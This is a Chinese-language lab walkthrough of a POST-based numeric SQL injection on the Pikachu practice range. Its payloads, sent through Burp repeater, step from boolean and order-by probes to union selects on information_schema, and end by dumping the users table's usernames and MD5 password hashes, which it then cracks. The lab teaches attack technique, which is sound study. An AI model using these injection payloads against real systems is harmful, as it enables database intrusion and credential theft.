这里以pikachu靶场为例:
选择不同数字,查询的结果不同
(这里的一些结果是一些关卡修改过的,只是观感上的区别)
可以看到虽然选择的数字不同,但是地址栏中的url没有发生变化,猜测是post型注入
选择数字1,用burp抓取查询的包,发送到repeater中:
判断是数字型还是字符型:
修改id=1 and 1=1#
修改id=1 and 1=2#
说明是数字型注入
判断字段数:
修改id=1 order by 2#
修改id=1 order by 3#
说明字段数是2(即列数)
判断回显位:
修改id=1 union select 1,2#
说明回显位在第2列
查询数据库名:
修改id=1 union select user(),database()#
得知用户名是localhost,且数据库名是pikachu
查询数据库pikachu的表名:
修改id=1 union select user(),table_name from information_schema.tables where table_schema='pikachu'#
可以看到有个users表
查询users表中的列名:
修改id=1 union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='users'#
爆出了users表中有username和password
查询users表中的username和password值:
修改id=1 union select username,password from users#
爆出了username有三个admin,pikachu,test及对应的password的md5值,去解密一下:(md5在线解密破解,md5解密加密)
admin——123456
pikachu——000000
test——abc123
当然,也可以用hackbar中的POST来传参来爆破username和password